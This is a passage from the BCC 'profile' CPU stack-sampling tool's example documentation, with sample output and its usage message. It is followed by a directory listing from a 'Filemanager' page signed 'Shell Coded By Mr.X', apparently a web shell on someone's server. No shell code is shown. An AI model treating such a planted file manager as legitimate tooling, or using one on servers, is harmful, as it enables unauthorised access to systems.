It will highlight the kernel frames in orange, and user-level in red (and Java
in green, and C++ in yellow). If you copy-n-paste the above output into a
out.profile file, you can try it out.


You can increase or decrease the sample frequency. Eg, sampling at 9 Hertz:

# ./profile -F 9
Sampling at 9 Hertz of all threads by user + kernel stack... Hit Ctrl-C to end.
^C
[...]

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        1

[...]


You can also restrict profiling to just kernel stacks (-K) or user stacks (-U).
For example, just user stacks:

# ./profile -C 7 2
Sampling at 49 Hertz of all threads by user + kernel stack on CPU#7 for 2 secs.

    PyEval_EvalFrameEx
    [unknown]
    [unknown]
    -                python (2827439)
        1

    PyDict_GetItem
    [unknown]
    -                python (2827439)
        1

    [unknown]
    -                python (2827439)
        1

    PyEval_EvalFrameEx
    [unknown]
    [unknown]
    -                python (2827439)
        1

    PyEval_EvalFrameEx
    -                python (2827439)
        1

    [unknown]
    [unknown]
    -                python (2827439)

in this example python application was busylooping on a single core/cpu (#7)
we were collecting stack traces only from it

# ./profile -U
Sampling at 49 Hertz of all threads by user stack... Hit Ctrl-C to end.
^C
    [unknown]
    [unknown]
    -                dd (2931)
        1

    [unknown]
    [unknown]
    -                dd (2931)
        1

    [unknown]
    [unknown]
    -                dd (2931)
        1

    [unknown]
    [unknown]
    -                dd (2931)
        1

    [unknown]
    [unknown]
    -                dd (2931)
        1

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        1

    [unknown]
    -                dd (2931)
        1

    [unknown]
    -                dd (2931)
        1

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        3

    __write
    [unknown]
    -                dd (2931)
        3

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        4

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        7

    -                swapper/6 (0)
        10

    func_b
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        10

    __write
    -                dd (2931)
        10

    func_a
    main
    __libc_start_main
    [unknown]
    -                func_ab (2930)
        11

    read
    -                dd (2931)
        12

    read
    [unknown]
    -                dd (2931)
        14


If there are too many unique stack traces for the kernel to save, a warning
will be printed. Eg:

# ./profile
[...]
WARNING: 8 stack traces could not be displayed. Consider increasing --stack-storage-size.

Run ./profile -h to see the default.

The --cgroupmap option filters based on a cgroup set. It is meant to be used
with an externally created map.

# ./profile --cgroupmap /sys/fs/bpf/test01

For more details, see docs/special_filtering.md


USAGE message:

# ./profile -h
usage: profile.py [-h] [-p PID | -L TID] [-U | -K] [-F FREQUENCY | -c COUNT]
                  [-d] [-a] [-I] [-f] [--hash-storage-size HASH_STORAGE_SIZE]
                  [--stack-storage-size STACK_STORAGE_SIZE] [-C CPU]
                  [--cgroupmap CGROUPMAP] [--mntnsmap MNTNSMAP]
                  [duration]

Profile CPU stack traces at a timed interval

positional arguments:
  duration              duration of trace, in seconds

optional arguments:
  -h, --help            show this help message and exit
  -p PID, --pid PID     profile process with one or more comma separated PIDs
                        only
  -L TID, --tid TID     profile thread with one or more comma separated TIDs
                        only
  -U, --user-stacks-only
                        show stacks from user space only (no kernel space
                        stacks)
  -K, --kernel-stacks-only
                        show stacks from kernel space only (no user space
                        stacks)
  -F FREQUENCY, --frequency FREQUENCY
                        sample frequency, Hertz
  -c COUNT, --count COUNT
                        sample period, number of events
  -d, --delimited       insert delimiter between kernel/user stacks
  -a, --annotations     add _[k] annotations to kernel frames
  -I, --include-idle    include CPU idle stacks
  -f, --folded          output folded format, one line per stack (for flame
                        graphs)
  --hash-storage-size HASH_STORAGE_SIZE
                        the number of hash keys that can be stored and
                        (default 40960)
  --stack-storage-size STACK_STORAGE_SIZE
                        the number of unique stack traces that can be stored
                        and displayed (default 16384)
  -C CPU, --cpu CPU     cpu number to run profile on
  --cgroupmap CGROUPMAP
                        trace cgroups in this BPF map only
  --mntnsmap MNTNSMAP   trace mount namespaces in this BPF map only

examples:
    ./profile             # profile stack traces at 49 Hertz until Ctrl-C
    ./profile -F 99       # profile stack traces at 99 Hertz
    ./profile -c 1000000  # profile stack traces every 1 in a million events
    ./profile 5           # profile at 49 Hertz for 5 seconds only
    ./profile -f 5        # output in folded format for flame graphs
    ./profile -p 185      # only profile process with PID 185
    ./profile -L 185      # only profile thread with TID 185
    ./profile -U          # only show user space stacks (no kernel)
    ./profile -K          # only show kernel space stacks (no user)
    ./profile --cgroupmap mappath  # only trace cgroups in this BPF map
    ./profile --mntnsmap mappath   # only trace mount namespaces in the map

Filemanager

DIR : / usr/ share/ doc/ bpfcc-tools/ examples/ doc/
Name Type Size Permission Actions
lib Folder 0755
argdist_example.txt File 22.49 KB 0644
bashreadline_example.txt File 882 B 0644
bindsnoop_example.txt File 4.42 KB 0644
biolatency_example.txt File 23.46 KB 0644
biolatpcts_example.txt File 2.97 KB 0644
biopattern_example.txt File 1.37 KB 0644
biosnoop_example.txt File 3.47 KB 0644
biotop_example.txt File 9.11 KB 0644
bitesize_example.txt File 4.98 KB 0644
bpflist_example.txt File 2.13 KB 0644
btrfsdist_example.txt File 9.32 KB 0644
btrfsslower_example.txt File 6.65 KB 0644
cachestat_example.txt File 3.92 KB 0644
cachetop_example.txt File 3.83 KB 0644
capable_example.txt File 6.5 KB 0644
cobjnew_example.txt File 2.97 KB 0644
compactsnoop_example.txt File 9.92 KB 0644
cpudist_example.txt File 16.48 KB 0644
cpuunclaimed_example.txt File 15.2 KB 0644
criticalstat_example.txt File 4.81 KB 0644
cthreads_example.txt File 2.08 KB 0644
dbslower_example.txt File 3.89 KB 0644
dbstat_example.txt File 6.5 KB 0644
dcsnoop_example.txt File 4.27 KB 0644
dcstat_example.txt File 3.26 KB 0644
deadlock_example.txt File 16.25 KB 0644
dirtop_example.txt File 4.98 KB 0644
drsnoop_example.txt File 5 KB 0644
execsnoop_example.txt File 6.64 KB 0644
exitsnoop_example.txt File 6.22 KB 0644
ext4dist_example.txt File 8.78 KB 0644
ext4slower_example.txt File 11.07 KB 0644
filegone_example.txt File 743 B 0644
filelife_example.txt File 2.04 KB 0644
fileslower_example.txt File 5.58 KB 0644
filetop_example.txt File 6.8 KB 0644
funccount_example.txt File 13.29 KB 0644
funcinterval_example.txt File 15.28 KB 0644
funclatency_example.txt File 20.98 KB 0644
funcslower_example.txt File 6.63 KB 0644
gethostlatency_example.txt File 1.29 KB 0644
hardirqs_example.txt File 37.05 KB 0644
inject_example.txt File 6.67 KB 0644
javacalls_example.txt File 3.91 KB 0644
javaflow_example.txt File 5.88 KB 0644
javagc_example.txt File 3.78 KB 0644
javaobjnew_example.txt File 2.97 KB 0644
javastat_example.txt File 2.98 KB 0644
javathreads_example.txt File 2.08 KB 0644
killsnoop_example.txt File 1.31 KB 0644
klockstat_example.txt File 8.34 KB 0644
kvmexit_example.txt File 11.63 KB 0644
llcstat_example.txt File 3.24 KB 0644
mdflush_example.txt File 1.74 KB 0644
memleak_example.txt File 10.02 KB 0644
mountsnoop_example.txt File 1.45 KB 0644
mysqld_qslower_example.txt File 2.3 KB 0644
netqtop_example.txt File 12.2 KB 0644
nfsdist_example.txt File 8.31 KB 0644
nfsslower_example.txt File 7.68 KB 0644
nodegc_example.txt File 3.78 KB 0644
nodestat_example.txt File 2.98 KB 0644
offcputime_example.txt File 19.2 KB 0644
offwaketime_example.txt File 37.36 KB 0644
oomkill_example.txt File 1.88 KB 0644
opensnoop_example.txt File 10.33 KB 0644
perlcalls_example.txt File 3.91 KB 0644
perlflow_example.txt File 5.88 KB 0644
perlstat_example.txt File 2.98 KB 0644
phpcalls_example.txt File 3.91 KB 0644
phpflow_example.txt File 5.88 KB 0644
phpstat_example.txt File 2.98 KB 0644
pidpersec_example.txt File 677 B 0644
ppchcalls_example.txt File 6.93 KB 0644
profile_example.txt File 31.08 KB 0644
pythoncalls_example.txt File 3.91 KB 0644
pythonflow_example.txt File 5.88 KB 0644
pythongc_example.txt File 3.78 KB 0644
pythonstat_example.txt File 2.98 KB 0644
rdmaucma_example.txt File 1.94 KB 0644
readahead_example.txt File 3.17 KB 0644
reset-trace_example.txt File 9.15 KB 0644
rubycalls_example.txt File 3.91 KB 0644
rubyflow_example.txt File 5.88 KB 0644
rubygc_example.txt File 3.78 KB 0644
rubyobjnew_example.txt File 2.97 KB 0644
rubystat_example.txt File 2.98 KB 0644
runqlat_example.txt File 31.3 KB 0644
runqlen_example.txt File 11.85 KB 0644
runqslower_example.txt File 2.13 KB 0644
shmsnoop_example.txt File 2.73 KB 0644
slabratetop_example.txt File 5.22 KB 0644
sofdsnoop_example.txt File 3.14 KB 0644
softirqs_example.txt File 11.02 KB 0644
solisten_example.txt File 2.3 KB 0644
sslsniff_example.txt File 6.74 KB 0644
stackcount_example.txt File 21.45 KB 0644
statsnoop_example.txt File 3.02 KB 0644
swapin.txt File 2.57 KB 0644
swapin_example.txt File 1.39 KB 0644
syncsnoop_example.txt File 387 B 0644
syscount_example.txt File 6.27 KB 0644
tclcalls_example.txt File 3.91 KB 0644
tclflow_example.txt File 5.88 KB 0644
tclobjnew_example.txt File 2.97 KB 0644
tclstat_example.txt File 2.98 KB 0644
tcpaccept_example.txt File 2.76 KB 0644
tcpcong_example.txt File 33.31 KB 0644
tcpconnect_example.txt File 6.27 KB 0644
tcpconnlat_example.txt File 2.55 KB 0644
tcpdrop_example.txt File 1.95 KB 0644
tcplife_example.txt File 6.83 KB 0644
tcpretrans_example.txt File 3.85 KB 0644
tcprtt_example.txt File 9.83 KB 0644
tcpstates_example.txt File 2.84 KB 0644
tcpsubnet_example.txt File 5.37 KB 0644
tcpsynbl_example.txt File 1.15 KB 0644
tcptop_example.txt File 5.75 KB 0644
tcptracer_example.txt File 1.98 KB 0644
threadsnoop_example.txt File 1.07 KB 0644
tplist_example.txt File 4.4 KB 0644
trace_example.txt File 21.62 KB 0644
ttysnoop_example.txt File 3.24 KB 0644
vfscount_example.txt File 2.17 KB 0644
vfsstat_example.txt File 1.66 KB 0644
virtiostat_example.txt File 2.62 KB 0644
wakeuptime_example.txt File 33.25 KB 0644
xfsdist_example.txt File 6.77 KB 0644
xfsslower_example.txt File 6.91 KB 0644
zfsdist_example.txt File 9.52 KB 0644
zfsslower_example.txt File 7.37 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager